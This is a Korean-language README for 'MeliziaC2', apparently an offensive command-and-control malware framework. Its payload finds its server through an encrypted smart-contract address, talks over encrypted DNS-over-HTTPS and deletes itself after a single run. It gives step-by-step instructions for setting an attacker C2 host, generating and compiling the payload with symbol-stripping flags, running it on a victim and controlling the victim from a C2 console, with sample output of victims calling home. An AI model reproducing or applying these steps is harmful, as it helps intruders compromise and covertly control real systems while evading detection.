MeliziaC2

DNS over HTTPS 기반 표적형 악성코드 (한 번만 실행됨)

! 일부 기능은 아직 사용할 수 없습니다 ! ! 작업 중(WIP), 프로덕션에서 사용하지 마세요 !

주요 기능

실패 시 악성코드 자동 삭제
피해자별 RSA 키로 완전히 암호화된 DoH(DNS-over-HTTPS) 통신
악성코드는 한 번만 실행됩니다!

다이어그램

diagram

이미지

요구 사항

https://github.com/demon-i386/throatcut

사용 방법

0 - contract_generator.py 파일 편집

modify C2ServerIP variable:
C2ServerIP = "attacker.domain.com"

스마트 계약 배포를 위한 Polygon 테스트넷 API 키를 생성하세요. https://auth.alchemy.com/signup

SmartContractDeployment/.env 편집

API_URL = "https://polygon-mumbai.g.alchemy.com/v2/[API KEY]"
PRIVATE_KEY = "[WALLET PRIVATE KEY]"

hardhat, solc (0.8.17+commit.8df45f5f.Emscripten.clang) 및 abigen (1.11.5-unstable-f7336573-20230316)을 다운로드하세요.

https://hardhat.org https://github.com/ethereum/solc-js https://geth.ethereum.org/docs/tools/abigen

contract_generator.py 스크립트의 하드코딩된 바이너리 경로에 주의하세요!

1 - 스마트 계약 생성 및 배포 (서버의 AES 암호화 DNS 주소 포함)

attacker_machine@ThreatActor:$ python3 contract_generator.py 
[...]
Calculating keccak from :: ImTWdbREqskoawYAXzEB()

Contract address :: 0xD3E71479BB2A8b3ba6724636C41b836bD2dFe5B6
Encrypted C2 address :: weTq1JD5gpk4Guv/9wTXXhcXgxI+0V+aQPKly7F0rdM=
Contract key :: 9o2goajTJ3ivI+DLB+rRzw==
Generated contract variable name :: ImTWdbREqskoawYAXzEB
Contract keccak :: 7941b5a6

gen_payload primaryServerIP:port 0xD3E71479BB2A8b3ba6724636C41b836bD2dFe5B6 9o2goajTJ3ivI+DLB+rRzw== 7941b5a6

2 - 반환된 매개변수를 사용하여 페이로드 생성

attacker_stager_server@Stager:$ python3 server_rust.py 
Server running!
> gen_payload stagerServerPublicIP:stagerServerExposedPort(1337 by default) 0xD3E71479BB2A8b3ba6724636C41b836bD2dFe5B6 9o2goajTJ3ivI+DLB+rRzw== 7941b5a6
Smart contract address :: 0xD3E71479BB2A8b3ba6724636C41b836bD2dFe5B6
Smart contract Keccak :: 7941b5a6
Generated payload with hash :: b'8822a96ba043c606b16ede401cb4a22f2a57c63214311c4ed21f5c705a5d7687'

>

3 - 페이로드 컴파일

attacker_stager_server@Stager:~/Desktop/babagola/migrate$ cargo build --release --target=x86_64-unknown-linux-musl
[...]
warning: `migrate` (bin "migrate") generated 147 warnings
    Finished release [optimized] target(s) in 0.18s
warning: the following packages contain code that will be rejected by a future version of Rust: rustc-serialize v0.3.24
note: to see what the problems were, use the option `--future-incompat-report`, or run `cargo report future-incompatibilities --id 1051`

4 - 실행 (피해자)

user@Ubuntu:$ ./malware 
[debug information]

5 - 제어!

threatactor@C2Server:~/C2_Melizia$ sudo python3.10 c2.py 
sudo: unable to resolve host TestingC2: Resource temporarily unavailable
 Melizia C2 
Pwned by trololo gang! kek kek keke kekw
- "SYSADMIN VOCÊ ESTÁ SENDO HIPNOTIZADO, ESQUEÇA QUE ESSA OWNADA EXISTIU"
        |) /\ |\ | /`  |
        |) \/ | \| \]  .
          __________         |) /\ |\ | /`  |
         /________ /|        |) \/ | \| \]  .
        |   X|I   | |
        |    |    | | |) /\ |\ | /`  |
        |IX  * III| | |) \/ | \| \]  .
        |    |    | |
        |____VI___| |         |) /\ |\ | /`  |
        |    /    | |         |) \/ | \| \]  .
        |   /     | |
        |  /      | |     |) /\ |\ | /`  |
        |( )      | |     |) \/ | \| \]  .
        |_________|/
                     |) /\ |\ | /`  |
                     |) \/ | \| \]  .


Ctrl+C is disabled! please use "exit" to exit from Melizia
Use "help" to see the available commands!
[!] DNS Server started

(Melizia)> A spaceship arrived!
"92994c589f860bab7af687fc3525d3de445812f52e951f5cf2d04432751a1b8c" Called home!

6 - 그리고, 아티팩트는 한 번만 실행됩니다! (동일한 아티팩트를 다시 실행하는 시도)

[Victim]

user@Ubuntu:$ ./target/x86_64-unknown-linux-musl/release/migrate 
user@Ubuntu:$ ./target/x86_64-unknown-linux-musl/release/migrate 
-bash: ./target/x86_64-unknown-linux-musl/release/migrate: No such file or directory <- Unlink

[Stager]
user@Ubuntu:~/Desktop/babagola$ python3 server_rust.py 

Server running!
> gen_payload 127.0.0.1:1337 0x564c3D9bBF15D7Be75f7468b4470f5d0B11bbD79 wiDt52uxNO7X7iUB8v0THw== b100ca9f                                                                                                  
Smart contract address :: 0x564c3D9bBF15D7Be75f7468b4470f5d0B11bbD79
Smart contract Keccak :: b100ca9f
Generated payload with hash :: b'67d6f46082e7ab5a48864d8e887bf571d1dca03161084392d1edf1738e03fdb6'

[Valid Victim]
> 127.0.0.1:46390 - ce0fba743a0694c32b5d3051c801c1518d0ecf719aa12e89da7ec3a133eb894f
Records: b'Yo/W/UQkmZ8etNrjiHCJC7EIWP9It2V3r1AWDaPnqx4='

New client incomming! preparing the missiles to attack :: ('127.0.0.1', 46390)
Sending smart contract address :: 0x564c3D9bBF15D7Be75f7468b4470f5d0B11bbD79

[Invalid Victim]
127.0.0.1:38478 - ce0fba743a0694c32b5d3051c801c1518d0ecf719aa12e89da7ec3a133eb894f

컴파일

정적 컴파일

rustup target add x86_64-unknown-linux-musl
cargo build --release --target=x86_64-unknown-linux-musl

or (windows)

RUSTFLAGS="-C debuginfo=0 -C strip=symbols -C debug-assertions=no -C panic=abort -C target-feature=+crt-static -C relocation-model=pic split-debuginfo=packed --remap-path-prefix $HOME=~" cargo xwin build --target x86_64-pc-windows-msv

기부!

Pix:
997f8e1c-5ea4-42d8-9a52-2d1a852e4274

https://nubank.com.br/pagar/sqtrd/oGVMf6g6Pa

Cripto
Direct:
BTC
1ACguGNLXik3sKYShtEuUX4ahYuM3yPFQq

MATIC
0x3b1699bbd7f67db0987ebef0f5f7b00c12fefddf

ETH
0x3b1699bbd7f67db0987ebef0f5f7b00c12fefddf

Metamask:
0x30f2F62FD0700af80Deb70D520f07deE9D411a33

XMR
83dsNXwoxmX54CNrv6WrB1dJeiyttgBZM2JFvUh43MMrDghfZmfcsB7cGywVL1X69YQBcMsxm8mbdJhEdzCjgdaETKawxFK

SOL
2DsFcwmKtqCCS2WhVM2FCt4LJa18ugk5o26sarbhcqnR

All the currencies are supported!
https://nowpayments.io/donation/demoni3864

zoshrinkC2

인기